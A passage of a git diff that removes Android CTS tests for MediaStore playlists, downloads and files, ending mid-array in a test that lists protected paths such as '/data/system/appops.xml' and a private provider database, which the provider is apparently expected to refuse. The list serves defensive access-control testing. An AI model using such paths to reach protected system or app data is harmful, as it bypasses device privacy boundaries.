-            assertEquals(Audio1.IS_RINGTONE, c.getInt(c.getColumnIndex(Members.IS_RINGTONE)));
-            assertEquals(Audio1.TRACK, c.getInt(c.getColumnIndex(Members.TRACK)));
-            assertEquals(Audio1.YEAR, c.getInt(c.getColumnIndex(Members.YEAR)));
-            assertNotNull(c.getString(c.getColumnIndex(Members.TITLE_KEY)));
-            c.close();
-
-            // query the play order of the audio
-            verifyPlaylist(membersUri, new long [] {mIdOfAudio1}, new int [] {1});
-
-            // update the member
-            values.clear();
-            values.put(Members.PLAY_ORDER, 2);
-            values.put(Members.AUDIO_ID, mIdOfAudio2);
-            int result = mContentResolver.update(membersUri, values, Members.AUDIO_ID + "="
-                    + mIdOfAudio1, null);
-            assertEquals(1, result);
-
-            // query all info
-            c = mContentResolver.query(membersUri, mMembersProjection, null, null,
-                    Members.DEFAULT_SORT_ORDER);
-            assertEquals(1, c.getCount());
-            c.moveToFirst();
-            assertEquals(2, c.getInt(c.getColumnIndex(Members.PLAY_ORDER)));
-            assertEquals(memberId, c.getLong(c.getColumnIndex(Members._ID)));
-            final String expected2 = Audio2.getInstance().getContentValues(mVolumeName)
-                    .getAsString(Members.DATA);
-            assertEquals(expected2, c.getString(c.getColumnIndex(Members.DATA)));
-            assertTrue(c.getLong(c.getColumnIndex(Members.DATE_ADDED)) > 0);
-            assertEquals(Audio2.DATE_MODIFIED, c.getLong(c.getColumnIndex(Members.DATE_MODIFIED)));
-            assertEquals(Audio2.DISPLAY_NAME, c.getString(c.getColumnIndex(Members.DISPLAY_NAME)));
-            assertEquals(Audio2.MIME_TYPE, c.getString(c.getColumnIndex(Members.MIME_TYPE)));
-            assertEquals(Audio2.SIZE, c.getInt(c.getColumnIndex(Members.SIZE)));
-            assertEquals(Audio2.TITLE, c.getString(c.getColumnIndex(Members.TITLE)));
-            assertEquals(Audio2.ALBUM, c.getString(c.getColumnIndex(Members.ALBUM)));
-            assertNotNull(c.getString(c.getColumnIndex(Members.ALBUM_KEY)));
-            assertTrue(c.getLong(c.getColumnIndex(Members.ALBUM_ID)) > 0);
-            assertEquals(Audio2.ARTIST, c.getString(c.getColumnIndex(Members.ARTIST)));
-            assertNotNull(c.getString(c.getColumnIndex(Members.ARTIST_KEY)));
-            assertTrue(c.getLong(c.getColumnIndex(Members.ARTIST_ID)) > 0);
-            assertEquals(Audio2.COMPOSER, c.getString(c.getColumnIndex(Members.COMPOSER)));
-            assertEquals(Audio2.DURATION, c.getLong(c.getColumnIndex(Members.DURATION)));
-            assertEquals(Audio2.IS_ALARM, c.getInt(c.getColumnIndex(Members.IS_ALARM)));
-            assertEquals(Audio2.IS_MUSIC, c.getInt(c.getColumnIndex(Members.IS_MUSIC)));
-            assertEquals(Audio2.IS_NOTIFICATION,
-                    c.getInt(c.getColumnIndex(Members.IS_NOTIFICATION)));
-            assertEquals(Audio2.IS_RINGTONE, c.getInt(c.getColumnIndex(Members.IS_RINGTONE)));
-            assertEquals(Audio2.TRACK, c.getInt(c.getColumnIndex(Members.TRACK)));
-            assertEquals(Audio2.YEAR, c.getInt(c.getColumnIndex(Members.YEAR)));
-            assertNotNull(c.getString(c.getColumnIndex(Members.TITLE_KEY)));
-            c.close();
-
-            // update the member back to its original state
-            values.clear();
-            values.put(Members.PLAY_ORDER, 1);
-            values.put(Members.AUDIO_ID, mIdOfAudio1);
-            result = mContentResolver.update(membersUri, values, Members.AUDIO_ID + "="
-                    + mIdOfAudio2, null);
-            assertEquals(1, result);
-
-            // insert another member into the playlist
-            Uri audioUri2 = insertPlaylistItem(membersUri, mIdOfAudio2, 2);
-            // the playlist should now have id1 at position 1 and id2 at position2, check that
-            verifyPlaylist(membersUri, new long [] {mIdOfAudio1, mIdOfAudio2}, new int [] {1,2});
-
-            // swap the items around
-            assertTrue(MediaStore.Audio.Playlists.Members.moveItem(mContentResolver, playlistId, 1, 0));
-
-            // check the new positions
-            verifyPlaylist(membersUri, new long [] {mIdOfAudio2, mIdOfAudio1}, new int [] {1,2});
-
-            // swap the items around in the other direction
-            assertTrue(MediaStore.Audio.Playlists.Members.moveItem(mContentResolver, playlistId, 0, 1));
-
-            // check the positions again
-            verifyPlaylist(membersUri, new long [] {mIdOfAudio1, mIdOfAudio2}, new int [] {1,2});
-
-            // insert a third item into the playlist
-            Uri audioUri3 = insertPlaylistItem(membersUri, mIdOfAudio3, 3);
-            // the playlist should now have id1 at position 1, id2 at position2, and
-            // id3 at position3, check that
-            verifyPlaylist(membersUri,
-                    new long [] {mIdOfAudio1, mIdOfAudio2, mIdOfAudio3}, new int [] {1,2,3});
-
-            // delete the middle item
-            mContentResolver.delete(Media.getContentUri(mVolumeName),
-                    Media._ID + "=" + mIdOfAudio2, null);
-
-            // check the remaining items are still in the right order, and the play_order of the
-            // last item has been adjusted
-            verifyPlaylist(membersUri, new long [] {mIdOfAudio1, mIdOfAudio3}, new int [] {1,2});
-
-            // try to swap the remaining two items
-            assertTrue(MediaStore.Audio.Playlists.Members.moveItem(mContentResolver, playlistId, 1, 0));
-
-            // check that they're swapped
-            verifyPlaylist(membersUri, new long [] {mIdOfAudio3, mIdOfAudio1}, new int [] {1,2});
-
-            // add 3 items, do some more moving and checking
-            mIdOfAudio2 = insertAudioItem(Audio2.getInstance());
-            insertPlaylistItem(membersUri, mIdOfAudio2, 3);
-            insertPlaylistItem(membersUri, mIdOfAudio4, 4);
-            insertPlaylistItem(membersUri, mIdOfAudio5, 5);
-            verifyPlaylist(membersUri,
-                    new long [] {mIdOfAudio3, mIdOfAudio1, mIdOfAudio2, mIdOfAudio4, mIdOfAudio5},
-                    new int[] {1, 2, 3, 4, 5});
-            assertTrue(MediaStore.Audio.Playlists.Members.moveItem(mContentResolver, playlistId, 1, 3));
-            verifyPlaylist(membersUri,
-                    new long [] {mIdOfAudio3, mIdOfAudio2, mIdOfAudio4, mIdOfAudio1, mIdOfAudio5},
-                    new int[] {1, 2, 3, 4, 5});
-            c = mContentResolver.query(membersUri, null, null, null, null);
-            c.close();
-
-            // create another playlist
-            values.clear();
-            values.put(Playlists.NAME, "My favourites 2");
-            values.put(Playlists.DATA, "");
-            values.put(Playlists.DATE_ADDED, dateAdded);
-            values.put(Playlists.DATE_MODIFIED, dateModified);
-            // insert
-            uri = mContentResolver.insert(Playlists.getContentUri(mVolumeName), values);
-            assertNotNull(uri);
-            c = mContentResolver.query(uri, null, null, null, null);
-            c.moveToFirst();
-            playlist2Id = c.getLong(c.getColumnIndex(Playlists._ID));
-            c.close();
-
-            // insert audio into 2nd playlist
-            Uri members2Uri = Members.getContentUri(mVolumeName, playlist2Id);
-            Uri audio2Uri = insertPlaylistItem(members2Uri, mIdOfAudio1, 1);
-
-            c = mContentResolver.query(membersUri, null, null, null, null);
-            int allcolscount = c.getCount();
-            c.close();
-            c = mContentResolver.query(membersUri,
-                    new String[] { Members.AUDIO_ID, Members.PLAY_ORDER }, null, null, null);
-            int somecolscount = c.getCount();
-            c.close();
-            assertEquals("Different count depending on columns", allcolscount, somecolscount);
-
-            // check that the audio exists in both playlist
-            c = mContentResolver.query(membersUri, null, null, null, null);
-            assertEquals(5, c.getCount());
-            int cnt = 0;
-            int colidx = c.getColumnIndex(Members.AUDIO_ID);
-            assertTrue(colidx >= 0);
-            while(c.moveToNext()) {
-                if (c.getLong(colidx) == mIdOfAudio1) {
-                    cnt++;
-                }
-            }
-            assertEquals(1, cnt);
-            c.close();
-            c = mContentResolver.query(members2Uri, null, null, null, null);
-            assertEquals(1, c.getCount());
-            cnt = 0;
-            while(c.moveToNext()) {
-                if (c.getLong(colidx) == mIdOfAudio1) {
-                    cnt++;
-                }
-            }
-            assertEquals(1, cnt);
-            c.close();
-
-            // delete the members
-            result = mContentResolver.delete(membersUri, null, null);
-            assertEquals(5, result);
-            result = mContentResolver.delete(members2Uri, null, null);
-            assertEquals(1, result);
-
-            // insert again, then verify that deleting the audio entry cleans up its playlist member
-            // entry as well
-            membersUri = Members.getContentUri(mVolumeName, playlistId);
-            audioUri = insertPlaylistItem(membersUri, mIdOfAudio1, 1);
-            assertNotNull(audioUri);
-            // Query members of the playlist
-            c = mContentResolver.query(membersUri,
-                    new String[] { Members.AUDIO_ID, Members.PLAYLIST_ID}, null, null, null);
-            colidx = c.getColumnIndex(Members.AUDIO_ID);
-            cnt = 0;
-            // The song should appear only once, for the playlist we used when inserting it
-            while(c.moveToNext()) {
-                if (c.getLong(colidx) == mIdOfAudio1) {
-                    cnt++;
-                    assertEquals(playlistId, c.getLong(c.getColumnIndex(Members.PLAYLIST_ID)));
-                }
-            }
-            assertEquals(1, cnt);
-            c.close();
-            mContentResolver.delete(Media.getContentUri(mVolumeName),
-                    Media._ID + "=" + mIdOfAudio1, null);
-            // Query members of the playlist
-            c = mContentResolver.query(membersUri,
-                    new String[] { Members.AUDIO_ID, Members.PLAYLIST_ID}, null, null, null);
-            colidx = c.getColumnIndex(Members.AUDIO_ID);
-            cnt = 0;
-            // The song should no longer appear in the playlist
-            while(c.moveToNext()) {
-                if (c.getLong(colidx) == mIdOfAudio1) {
-                    cnt++;
-                }
-            }
-            assertEquals(0, cnt);
-            c.close();
-
-        } finally {
-            // delete the playlists
-            mContentResolver.delete(Playlists.getContentUri(mVolumeName),
-                    Playlists._ID + "=" + playlistId, null);
-            if (playlist2Id >= 0) {
-                mContentResolver.delete(Playlists.getContentUri(mVolumeName),
-                        Playlists._ID + "=" + playlist2Id, null);
-            }
-        }
-    }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_DownloadsTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_DownloadsTest.java
deleted file mode 100644
index 1c45687..0000000
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_DownloadsTest.java
+++ /dev/null
@@ -1,371 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import static android.provider.cts.ProviderTestUtils.hash;
-import static android.provider.cts.ProviderTestUtils.resolveVolumeName;
-
-import static org.junit.Assert.assertArrayEquals;
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
-
-import android.content.ContentResolver;
-import android.content.ContentUris;
-import android.content.ContentValues;
-import android.content.Context;
-import android.database.ContentObserver;
-import android.database.Cursor;
-import android.net.Uri;
-import android.os.Environment;
-import android.os.FileUtils;
-import android.platform.test.annotations.Presubmit;
-import android.provider.MediaStore;
-import android.provider.MediaStore.Downloads;
-import android.provider.MediaStore.Files;
-import android.provider.MediaStore.Images;
-import android.provider.cts.MediaStoreUtils.PendingParams;
-import android.provider.cts.MediaStoreUtils.PendingSession;
-import android.util.Log;
-
-import androidx.test.InstrumentationRegistry;
-
-import org.junit.Assume;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.Parameterized;
-import org.junit.runners.Parameterized.Parameter;
-import org.junit.runners.Parameterized.Parameters;
-
-import java.io.ByteArrayOutputStream;
-import java.io.File;
-import java.io.FileInputStream;
-import java.io.FileOutputStream;
-import java.io.InputStream;
-import java.io.OutputStream;
-import java.io.PrintWriter;
-import java.nio.charset.StandardCharsets;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-@Presubmit
-@RunWith(Parameterized.class)
-public class MediaStore_DownloadsTest {
-    private static final String TAG = MediaStore_DownloadsTest.class.getSimpleName();
-    private static final long NOTIFY_TIMEOUT_MILLIS = 4000;
-
-    private Context mContext;
-    private ContentResolver mContentResolver;
-    private File mDownloadsDir;
-    private File mPicturesDir;
-    private CountDownLatch mCountDownLatch;
-    private int mInitialDownloadsCount;
-
-    private Uri mExternalImages;
-    private Uri mExternalDownloads;
-
-    @Parameter(0)
-    public String mVolumeName;
-
-    @Parameters
-    public static Iterable<? extends Object> data() {
-        return ProviderTestUtils.getSharedVolumeNames();
-    }
-
-    @Before
-    public void setUp() throws Exception {
-        mContext = InstrumentationRegistry.getTargetContext();
-        mContentResolver = mContext.getContentResolver();
-
-        Log.d(TAG, "Using volume " + mVolumeName);
-        mExternalImages = MediaStore.Images.Media.getContentUri(mVolumeName);
-        mExternalDownloads = MediaStore.Downloads.getContentUri(mVolumeName);
-
-        mDownloadsDir = new File(MediaStore.getVolumePath(resolveVolumeName(mVolumeName)),
-                Environment.DIRECTORY_DOWNLOADS);
-        mPicturesDir = new File(MediaStore.getVolumePath(resolveVolumeName(mVolumeName)),
-                Environment.DIRECTORY_PICTURES);
-        mDownloadsDir.mkdirs();
-        mPicturesDir.mkdirs();
-        mInitialDownloadsCount = getInitialDownloadsCount();
-    }
-
-    @Test
-    public void testScannedDownload() throws Exception {
-        Assume.assumeTrue(MediaStore.VOLUME_EXTERNAL.equals(mVolumeName)
-                || MediaStore.VOLUME_EXTERNAL_PRIMARY.equals(mVolumeName));
-
-        final File downloadFile = new File(mDownloadsDir, "colors.txt");
-        downloadFile.createNewFile();
-        final String fileContents = "RED;GREEN;BLUE";
-        try (final PrintWriter pw = new PrintWriter(downloadFile)) {
-            pw.print(fileContents);
-        }
-        verifyScannedDownload(downloadFile);
-    }
-
-    @Test
-    public void testScannedMediaDownload() throws Exception {
-        Assume.assumeTrue(MediaStore.VOLUME_EXTERNAL.equals(mVolumeName)
-                || MediaStore.VOLUME_EXTERNAL_PRIMARY.equals(mVolumeName));
-
-        final File downloadFile = new File(mDownloadsDir, "scenery.png");
-        downloadFile.createNewFile();
-        try (InputStream in = mContext.getResources().openRawResource(R.raw.scenery);
-                OutputStream out = new FileOutputStream(downloadFile)) {
-            FileUtils.copy(in, out);
-        }
-        verifyScannedDownload(downloadFile);
-    }
-
-    @Test
-    public void testGetContentUri() throws Exception {
-        Cursor c;
-        assertNotNull(c = mContentResolver.query(mExternalDownloads,
-                null, null, null, null));
-        c.close();
-    }
-
-    @Test
-    public void testMediaInDownloadsDir() throws Exception {
-        Assume.assumeTrue(MediaStore.VOLUME_EXTERNAL.equals(mVolumeName)
-                || MediaStore.VOLUME_EXTERNAL_PRIMARY.equals(mVolumeName));
-
-        final String displayName = "cts" + System.nanoTime();
-        final Uri insertUri = insertImage(displayName, "test image",
-                new File(mDownloadsDir, displayName + ".jpg"), "image/jpeg", R.raw.scenery);
-        final String displayName2 = "cts" + System.nanoTime();
-        final Uri insertUri2 = insertImage(displayName2, "test image2",
-                new File(mPicturesDir, displayName2 + ".jpg"), "image/jpeg", R.raw.volantis);
-
-        try (Cursor cursor = mContentResolver.query(mExternalDownloads,
-                null, "title LIKE ?1", new String[] { displayName }, null)) {
-            assertEquals(1, cursor.getCount());
-            cursor.moveToNext();
-            assertEquals("image/jpeg",
-                    cursor.getString(cursor.getColumnIndex(Images.Media.MIME_TYPE)));
-        }
-
-        assertEquals(1, mContentResolver.delete(insertUri, null, null));
-        try (Cursor cursor = mContentResolver.query(mExternalDownloads,
-                null, null, null, null)) {
-            assertEquals(mInitialDownloadsCount, cursor.getCount());
-        }
-    }
-
-    @Test
-    public void testInsertDownload() throws Exception {
-        final String content = "<html><body>Content</body></html>";
-        final String displayName = "cts" + System.nanoTime();
-        final String mimeType = "text/html";
-        final Uri downloadUri = Uri.parse("https://developer.android.com/overview.html");
-        final Uri refererUri = Uri.parse("https://www.android.com");
-
-        final PendingParams params = new PendingParams(
-                mExternalDownloads, displayName, mimeType);
-        params.setDownloadUri(downloadUri);
-        params.setRefererUri(refererUri);
-
-        final Uri pendingUri = MediaStoreUtils.createPending(mContext, params);
-        assertNotNull(pendingUri);
-        final Uri publishUri;
-        try (PendingSession session = MediaStoreUtils.openPending(mContext, pendingUri)) {
-            try (PrintWriter pw = new PrintWriter(session.openOutputStream())) {
-                pw.print(content);
-            }
-            try (OutputStream out = session.openOutputStream()) {
-                out.write(content.getBytes(StandardCharsets.UTF_8));
-            }
-            publishUri = session.publish();
-        }
-
-        try (Cursor cursor = mContentResolver.query(publishUri, null, null, null, null)) {
-            assertEquals(1, cursor.getCount());
-
-            cursor.moveToNext();
-            assertEquals(mimeType,
-                    cursor.getString(cursor.getColumnIndex(Downloads.MIME_TYPE)));
-            assertEquals(displayName + ".html",
-                    cursor.getString(cursor.getColumnIndex(Downloads.DISPLAY_NAME)));
-            assertEquals(downloadUri.toString(),
-                    cursor.getString(cursor.getColumnIndex(Downloads.DOWNLOAD_URI)));
-            assertEquals(refererUri.toString(),
-                    cursor.getString(cursor.getColumnIndex(Downloads.REFERER_URI)));
-        }
-
-        final ByteArrayOutputStream actual = new ByteArrayOutputStream();
-        try (InputStream in = mContentResolver.openInputStream(publishUri)) {
-            final byte[] buf = new byte[512];
-            int bytesRead;
-            while ((bytesRead = in.read(buf)) != -1) {
-                actual.write(buf, 0, bytesRead);
-            }
-        }
-        assertEquals(content, actual.toString(StandardCharsets.UTF_8.name()));
-    }
-
-    @Test
-    public void testUpdateDownload() throws Exception {
-        final String displayName = "cts" + System.nanoTime();
-        final PendingParams params = new PendingParams(
-                mExternalDownloads, displayName, "video/3gpp");
-        final Uri downloadUri = Uri.parse("https://www.android.com/download?file=testvideo.3gp");
-        params.setDownloadUri(downloadUri);
-
-        final Uri pendingUri = MediaStoreUtils.createPending(mContext, params);
-        assertNotNull(pendingUri);
-        final Uri publishUri;
-        try (PendingSession session = MediaStoreUtils.openPending(mContext, pendingUri)) {
-            try (InputStream in = mContext.getResources().openRawResource(R.raw.testvideo);
-                 OutputStream out = session.openOutputStream()) {
-                android.os.FileUtils.copy(in, out);
-            }
-            publishUri = session.publish();
-        }
-
-        final ContentValues updateValues = new ContentValues();
-        updateValues.put(MediaStore.Files.FileColumns.MEDIA_TYPE,
-                MediaStore.Files.FileColumns.MEDIA_TYPE_AUDIO);
-        updateValues.put(Downloads.MIME_TYPE, "audio/3gpp");
-        assertEquals(1, mContentResolver.update(publishUri, updateValues, null, null));
-
-        try (Cursor cursor = mContentResolver.query(publishUri,
-                null, null, null, null)) {
-            assertEquals(1, cursor.getCount());
-            cursor.moveToNext();
-            assertEquals("audio/3gpp",
-                    cursor.getString(cursor.getColumnIndex(Downloads.MIME_TYPE)));
-            assertEquals(downloadUri.toString(),
-                    cursor.getString(cursor.getColumnIndex(Downloads.DOWNLOAD_URI)));
-        }
-    }
-
-    @Test
-    public void testDeleteDownload() throws Exception {
-        final String displayName = "cts" + System.nanoTime();
-        final PendingParams params = new PendingParams(
-                mExternalDownloads, displayName, "video/3gp");
-        final Uri downloadUri = Uri.parse("https://www.android.com/download?file=testvideo.3gp");
-        params.setDownloadUri(downloadUri);
-
-        final Uri pendingUri = MediaStoreUtils.createPending(mContext, params);
-        assertNotNull(pendingUri);
-        final Uri publishUri;
-        try (PendingSession session = MediaStoreUtils.openPending(mContext, pendingUri)) {
-            try (InputStream in = mContext.getResources().openRawResource(R.raw.testvideo);
-                 OutputStream out = session.openOutputStream()) {
-                android.os.FileUtils.copy(in, out);
-            }
-            publishUri = session.publish();
-        }
-
-        assertEquals(1, mContentResolver.delete(publishUri, null, null));
-        try (Cursor cursor = mContentResolver.query(mExternalDownloads,
-                null, null, null, null)) {
-            assertEquals(mInitialDownloadsCount, cursor.getCount());
-        }
-    }
-
-    @Test
-    public void testNotifyChange() throws Exception {
-        final ContentObserver observer = new ContentObserver(null) {
-            @Override
-            public void onChange(boolean selfChange, Uri uri) {
-                super.onChange(selfChange, uri);
-                mCountDownLatch.countDown();
-            }
-        };
-        mContentResolver.registerContentObserver(mExternalDownloads, true, observer);
-        mContentResolver.registerContentObserver(MediaStore.AUTHORITY_URI, false, observer);
-        final Uri volumeUri = MediaStore.AUTHORITY_URI.buildUpon()
-                .appendPath(mVolumeName)
-                .build();
-        mContentResolver.registerContentObserver(volumeUri, false, observer);
-
-        mCountDownLatch = new CountDownLatch(1);
-        final String displayName = "cts" + System.nanoTime();
-        final PendingParams params = new PendingParams(
-                mExternalDownloads, displayName, "video/3gp");
-        final Uri downloadUri = Uri.parse("https://www.android.com/download?file=testvideo.3gp");
-        params.setDownloadUri(downloadUri);
-        final Uri pendingUri = MediaStoreUtils.createPending(mContext, params);
-        assertNotNull(pendingUri);
-        final Uri publishUri;
-        try (PendingSession session = MediaStoreUtils.openPending(mContext, pendingUri)) {
-            try (InputStream in = mContext.getResources().openRawResource(R.raw.testvideo);
-                 OutputStream out = session.openOutputStream()) {
-                android.os.FileUtils.copy(in, out);
-            }
-            publishUri = session.publish();
-        }
-        mCountDownLatch.await(NOTIFY_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
-
-        mCountDownLatch = new CountDownLatch(1);
-        final ContentValues updateValues = new ContentValues();
-        updateValues.put(Files.FileColumns.MEDIA_TYPE, Files.FileColumns.MEDIA_TYPE_AUDIO);
-        updateValues.put(Downloads.MIME_TYPE, "audio/3gp");
-        assertEquals(1, mContentResolver.update(publishUri, updateValues, null, null));
-        mCountDownLatch.await(NOTIFY_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
-
-        mCountDownLatch = new CountDownLatch(1);
-        assertEquals(1, mContentResolver.delete(publishUri, null, null));
-        mCountDownLatch.await(NOTIFY_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
-    }
-
-    private int getInitialDownloadsCount() {
-        try (Cursor cursor = mContentResolver.query(mExternalDownloads,
-                null, null, null, null)) {
-            return cursor.getCount();
-        }
-    }
-
-    private Uri insertImage(String displayName, String description,
-            File file, String mimeType, int resourceId) throws Exception {
-        file.createNewFile();
-        try (InputStream in = mContext.getResources().openRawResource(resourceId);
-             OutputStream out = new FileOutputStream(file)) {
-            FileUtils.copy(in, out);
-        }
-
-        final ContentValues values = new ContentValues();
-        values.put(Images.Media.DISPLAY_NAME, displayName);
-        values.put(Images.Media.TITLE, displayName);
-        values.put(Images.Media.DESCRIPTION, description);
-        values.put(Images.Media.DATA, file.getAbsolutePath());
-        values.put(Images.Media.DATE_ADDED, System.currentTimeMillis() / 1000);
-        values.put(Images.Media.DATE_MODIFIED, System.currentTimeMillis() / 1000);
-        values.put(Images.Media.MIME_TYPE, mimeType);
-
-        final Uri insertUri = mContentResolver.insert(mExternalImages, values);
-        assertNotNull(insertUri);
-        return insertUri;
-    }
-
-    private void verifyScannedDownload(File file) throws Exception {
-        final Uri mediaStoreUri = ProviderTestUtils.scanFile(file);
-        Log.e(TAG, "Scanned file " + file.getAbsolutePath() + ": " + mediaStoreUri);
-        assertArrayEquals("File hashes should match for " + file + " and " + mediaStoreUri,
-                hash(new FileInputStream(file)),
-                hash(mContentResolver.openInputStream(mediaStoreUri)));
-
-        // Verify the file is part of downloads collection.
-        final long id = ContentUris.parseId(mediaStoreUri);
-        final Cursor cursor = mContentResolver.query(mExternalDownloads,
-                null, MediaStore.Downloads._ID + "=" + id, null, null);
-        assertEquals(1, cursor.getCount());
-    }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_FilesTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_FilesTest.java
deleted file mode 100644
index 9e71c69..0000000
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_FilesTest.java
+++ /dev/null
@@ -1,344 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import static android.provider.cts.MediaStoreTest.TAG;
-import static android.provider.cts.ProviderTestUtils.containsId;
-import static android.provider.cts.ProviderTestUtils.resolveVolumeName;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
-import android.content.ContentResolver;
-import android.content.ContentUris;
-import android.content.ContentValues;
-import android.content.Context;
-import android.database.Cursor;
-import android.net.Uri;
-import android.os.Environment;
-import android.os.ParcelFileDescriptor;
-import android.platform.test.annotations.Presubmit;
-import android.provider.MediaStore;
-import android.provider.MediaStore.Files.FileColumns;
-import android.provider.MediaStore.MediaColumns;
-import android.util.Log;
-
-import androidx.test.InstrumentationRegistry;
-
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.Parameterized;
-import org.junit.runners.Parameterized.Parameter;
-import org.junit.runners.Parameterized.Parameters;
-
-import java.io.File;
-import java.io.IOException;
-
-@Presubmit
-@RunWith(Parameterized.class)
-public class MediaStore_FilesTest {
-    private Context mContext;
-    private ContentResolver mResolver;
-
-    private Uri mExternalImages;
-    private Uri mExternalFiles;
-
-    @Parameter(0)
-    public String mVolumeName;
-
-    @Parameters
-    public static Iterable<? extends Object> data() {
-        return ProviderTestUtils.getSharedVolumeNames();
-    }
-
-    @Before
-    public void setUp() throws Exception {
-        mContext = InstrumentationRegistry.getTargetContext();
-        mResolver = mContext.getContentResolver();
-
-        Log.d(TAG, "Using volume " + mVolumeName);
-        mExternalImages = MediaStore.Images.Media.getContentUri(mVolumeName);
-        mExternalFiles = MediaStore.Files.getContentUri(mVolumeName);
-    }
-
-    @Test
-    public void testGetContentUri() throws Exception {
-        Uri allFilesUri = mExternalFiles;
-
-        ContentValues values = new ContentValues();
-
-        // Add a path for a file and check that the returned uri appends a
-        // path properly.
-        String dataPath = new File(ProviderTestUtils.stageDir(mVolumeName),
-                "does_not_really_exist.txt").getAbsolutePath();
-        values.put(MediaColumns.DATA, dataPath);
-        Uri fileUri = mResolver.insert(allFilesUri, values);
-        long fileId = ContentUris.parseId(fileUri);
-        assertEquals(fileUri, ContentUris.withAppendedId(allFilesUri, fileId));
-
-        // Check that getContentUri with the file id produces the same url
-        Uri rowUri = ContentUris.withAppendedId(mExternalFiles, fileId);
-        assertEquals(fileUri, rowUri);
-
-        // Check that the file count has increased.
-        assertTrue(containsId(allFilesUri, fileId));
-
-        // Check that the path we inserted was stored properly.
-        assertStringColumn(fileUri, MediaColumns.DATA, dataPath);
-
-        // Update the path and check that the database changed.
-        String updatedPath = new File(ProviderTestUtils.stageDir(mVolumeName),
-                "still_does_not_exist.txt").getAbsolutePath();
-        values.put(MediaColumns.DATA, updatedPath);
-        assertEquals(1, mResolver.update(fileUri, values, null, null));
-        assertStringColumn(fileUri, MediaColumns.DATA, updatedPath);
-
-        // check that inserting a duplicate entry fails
-        Uri foo = mResolver.insert(allFilesUri, values);
-        assertNull(foo);
-
-        // Delete the file and observe that the file count decreased.
-        assertEquals(1, mResolver.delete(fileUri, null, null));
-        assertFalse(containsId(allFilesUri, fileId));
-
-        // Make sure the deleted file is not returned by the cursor.
-        Cursor cursor = mResolver.query(fileUri, null, null, null, null);
-        try {
-            assertFalse(cursor.moveToNext());
-        } finally {
-            cursor.close();
-        }
-
-        // insert file and check its parent
-        values.clear();
-        try {
-            File stageDir = new File(ProviderTestUtils.stageDir(mVolumeName),
-                    Environment.DIRECTORY_MUSIC);
-            stageDir.mkdirs();
-            String b = stageDir.getAbsolutePath();
-            values.put(MediaColumns.DATA, b + "/testing" + System.nanoTime());
-            fileUri = mResolver.insert(allFilesUri, values);
-            cursor = mResolver.query(fileUri, new String[] { MediaStore.Files.FileColumns.PARENT },
-                    null, null, null);
-            assertEquals(1, cursor.getCount());
-            cursor.moveToFirst();
-            long parentid = cursor.getLong(0);
-            assertTrue("got 0 parent for non root file", parentid != 0);
-
-            cursor.close();
-            cursor = mResolver.query(ContentUris.withAppendedId(allFilesUri, parentid),
-                    new String[] { MediaColumns.DATA }, null, null, null);
-            assertEquals(1, cursor.getCount());
-            cursor.moveToFirst();
-            String parentPath = cursor.getString(0);
-            assertEquals(b, parentPath);
-
-            mResolver.delete(fileUri, null, null);
-        } catch (IOException e) {
-            fail(e.getMessage());
-        } finally {
-            cursor.close();
-        }
-    }
-
-    @Test
-    public void testCaseSensitivity() throws IOException {
-        final String name = "Test-" + System.nanoTime() + ".Mp3";
-        final File dir = ProviderTestUtils.stageDir(mVolumeName);
-        final File file = new File(dir, name);
-        final File fileLower = new File(dir, name.toLowerCase());
-        ProviderTestUtils.stageFile(R.raw.testmp3, file);
-
-        Uri allFilesUri = mExternalFiles;
-        ContentValues values = new ContentValues();
-        values.put(MediaColumns.DATA, fileLower.getAbsolutePath());
-        Uri fileUri = mResolver.insert(allFilesUri, values);
-        try {
-            ParcelFileDescriptor pfd = mResolver.openFileDescriptor(fileUri, "r");
-            pfd.close();
-        } finally {
-            mResolver.delete(fileUri, null, null);
-        }
-    }
-
-    @Test
-    public void testAccessInternal() throws Exception {
-        final Uri internalFiles = MediaStore.Files.getContentUri(MediaStore.VOLUME_INTERNAL);
-
-        for (String valid : new String[] {
-                "/system/media/" + System.nanoTime() + ".ogg",
-        }) {
-            final ContentValues values = new ContentValues();
-            values.put(MediaColumns.DATA, valid);
-
-            final Uri uri = mResolver.insert(internalFiles, values);
-            assertNotNull(valid, uri);
-            mResolver.delete(uri, null, null);
-        }
-
-        for (String invalid : new String[] {
-                "/data/media/" + System.nanoTime() + ".jpg",
-                "/data/system/appops.xml",
-                "/data/data/com.android.providers.media/databases/internal.db",
-                new File(Environment.getExternalStorageDirectory(), System.nanoTime() + ".jpg")
